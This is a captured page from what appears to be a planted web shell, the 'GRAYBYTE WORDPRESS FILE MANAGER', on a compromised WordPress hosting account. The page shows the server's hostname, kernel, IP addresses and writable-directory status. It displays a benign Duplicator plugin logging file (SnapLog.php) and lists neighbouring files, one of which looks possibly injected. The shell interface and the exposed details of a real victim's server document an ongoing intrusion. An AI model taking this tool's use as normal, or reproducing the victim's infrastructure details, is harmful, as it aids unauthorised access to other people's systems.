✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.6
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/tdtravelandlogistics.com/wp-content/plugins/duplicator/src/Libs/Snap//SnapLog.php
<?php

/**
 *
 * @package   Duplicator
 * @copyright (c) 2022, Snap Creek LLC
 */

namespace Duplicator\Libs\Snap;

use Error;
use Exception;

class SnapLog
{
    /** @var ?string */
    public static $logFilepath = null;
    /** @var ?resource */
    public static $logHandle = null;

    /**
     * Init log file
     *
     * @param string $logFilepath lof file path
     *
     * @return void
     */
    public static function init($logFilepath)
    {
        self::$logFilepath = $logFilepath;
    }

    /**
     * write in PHP error log with DUP prefix
     *
     * @param string $message error message
     * @param int    $type    error type
     *
     * @return bool true on success or false on failure.
     *
     * @link https://php.net/manual/en/function.error-log.php
     */
    public static function phpErr($message, $type = 0)
    {
        if (function_exists('error_log')) {
            return error_log('DUP:' . $message, $type);
        } else {
            return true;
        }
    }

    /**
     * Remove file log if exists
     *
     * @return void
     */
    public static function clearLog()
    {
        if (file_exists(self::$logFilepath)) {
            if (self::$logHandle !== null) {
                fflush(self::$logHandle);
                fclose(self::$logHandle);
                self::$logHandle = null;
            }
            @unlink(self::$logFilepath);
        }
    }

    /**
     * Write in log passed object
     *
     * @param string  $s     log string
     * @param mixed   $o     object to print
     * @param boolean $flush if true flush log file
     *
     * @return void
     */
    public static function logObject($s, $o, $flush = false)
    {
        self::log($s, $flush);
        self::log(print_r($o, true), $flush);
    }

    /**
     * Write in log file
     *
     * @param string    $s                       string to write
     * @param boolean   $flush                   if true flush log file
     * @param ?callable $callingFunctionOverride @deprecated 4.0.4 not used
     *
     * @return void
     */
    public static function log($s, $flush = false, $callingFunctionOverride = null)
    {
        //   echo "{$s}<br/>";
        $lfp = self::$logFilepath;
        //  echo "logging $s to {$lfp}<br/>";
        if (self::$logFilepath === null) {
            throw new Exception('Logging not initialized');
        }

        if (isset($_SERVER['REQUEST_TIME_FLOAT'])) {
            $timepart = $_SERVER['REQUEST_TIME_FLOAT'];
        } else {
            $timepart = $_SERVER['REQUEST_TIME'];
        }

        $thread_id = sprintf("%08x", abs(crc32($_SERVER['REMOTE_ADDR'] . $timepart . $_SERVER['REMOTE_PORT'])));

        $s = $thread_id . ' ' . date('h:i:s') . ":$s";

        if (self::$logHandle === null) {
            self::$logHandle = fopen(self::$logFilepath, 'a');
        }

        fwrite(self::$logHandle, "$s\n");

        if ($flush) {
            fflush(self::$logHandle);

            fclose(self::$logHandle);

            self::$logHandle = fopen(self::$logFilepath, 'a');
        }
    }

    /**
     * Get formatted string fo value
     *
     * @param mixed $var           value to convert to string
     * @param bool  $checkCallable if true check if var is callable and display it
     *
     * @return string
     */
    public static function v2str($var, $checkCallable = false)
    {
        if ($checkCallable && is_callable($var)) {
            return '(callable) ' . print_r($var, true);
        }
        switch (gettype($var)) {
            case "boolean":
                return $var ? 'true' : 'false';
            case "integer":
            case "double":
                return (string) $var;
            case "string":
                return '"' . $var . '"';
            case "array":
            case "object":
                return print_r($var, true);
            case "resource":
            case "resource (closed)":
            case "NULL":
            case "unknown type":
            default:
                return gettype($var);
        }
    }

    /**
     * Get backtrace of calling line
     *
     * @param string $message message
     *
     * @return string
     */
    public static function getCurrentbacktrace($message = 'getCurrentLineTrace')
    {
        $callers = debug_backtrace();
        array_shift($callers);
        $file    = $callers[0]['file'];
        $line    = $callers[0]['line'];
        $result  = 'BACKTRACE: ' . $message . "\n";
        $result .= "\t[" . $file . ':' . $line . "]\n";
        $result .= self::traceToString($callers, 1, true);
        return $result;
    }

    /**
     * Get trace string
     *
     * @param mixed[] $callers   result of debug_backtrace
     * @param int     $fromLevel level to start
     * @param bool    $tab       if true apply tab foreach line
     *
     * @return string
     */
    public static function traceToString($callers, $fromLevel = 0, $tab = false)
    {
        $result = '';
        for ($i = $fromLevel; $i < count($callers); $i++) {
            $result .= ($tab ? "\t" : '');
            $trace   = $callers[$i];
            if (!empty($trace['class'])) {
                $result .= str_pad('TRACE[' . $i . '] CLASS___: ' . $trace['class'] . $trace['type'] . $trace['function'], 45, ' ');
            } else {
                $result .= str_pad('TRACE[' . $i . '] FUNCTION: ' . $trace['function'], 45, ' ');
            }
            if (isset($trace['file'])) {
                $result .= ' FILE: ' . $trace['file'] . '[' . $trace['line'] . ']';
            } else {
                $result .= ' NO FILE';
            }
            $result .= "\n";
        }
        return $result;
    }

    /**
     * Get exception message file line trace
     *
     * @param Exception|Error $e              exception object
     * @param bool            $displayMessage if true diplay exception message
     *
     * @return string
     */
    public static function getTextException($e, $displayMessage = true)
    {
        $result = ($displayMessage ? $e->getMessage() . "\n" : '');
        return $result . "FILE:" . $e->getFile() . '[' . $e->getLIne() . "]\n" .
        "TRACE:\n" . $e->getTraceAsString();
    }
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
23 May 2026 10.12 AM
tdhomesa / tdhomesa
0755
JsonSerialize
--
23 May 2026 10.12 AM
tdhomesa / tdhomesa
0755
FunctionalityCheck.php
3.752 KB
19 Sep 2023 6.17 PM
tdhomesa / tdhomesa
0644
JsonSerializable.php
0.567 KB
16 Mar 2023 4.06 PM
tdhomesa / tdhomesa
0644
Snap32BitSizeLimitException.php
0.169 KB
16 Mar 2023 4.06 PM
tdhomesa / tdhomesa
0644
SnapCode.php
1.861 KB
16 Mar 2023 4.06 PM
tdhomesa / tdhomesa
0644
SnapDB.php
24.945 KB
19 Sep 2023 6.17 PM
tdhomesa / tdhomesa
0644
SnapIO.php
55.884 KB
27 Jun 2024 2.27 PM
tdhomesa / tdhomesa
0644
SnapJson.php
9.492 KB
19 Sep 2023 6.17 PM
tdhomesa / tdhomesa
0644
SnapLog.php
6.09 KB
16 Mar 2023 4.06 PM
tdhomesa / tdhomesa
0644
SnapOS.php
0.813 KB
16 Mar 2023 4.06 PM
tdhomesa / tdhomesa
0644
SnapOrigFileManager.php
11.2 KB
16 Mar 2023 4.06 PM
tdhomesa / tdhomesa
0644
SnapString.php
4.903 KB
20 Jul 2023 6.38 PM
tdhomesa / tdhomesa
0644
SnapURL.php
8.388 KB
16 Mar 2023 4.06 PM
tdhomesa / tdhomesa
0644
SnapUtil.php
33.712 KB
24 Sep 2024 11.42 PM
tdhomesa / tdhomesa
0644
SnapWP.php
31.684 KB
11 Mar 2025 6.31 PM
tdhomesa / tdhomesa
0644
index.php
0.016 KB
22 Aug 2022 11.05 PM
tdhomesa / tdhomesa
0644
wordpress_core_files.php
180.286 KB
15 Jul 2025 3.57 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF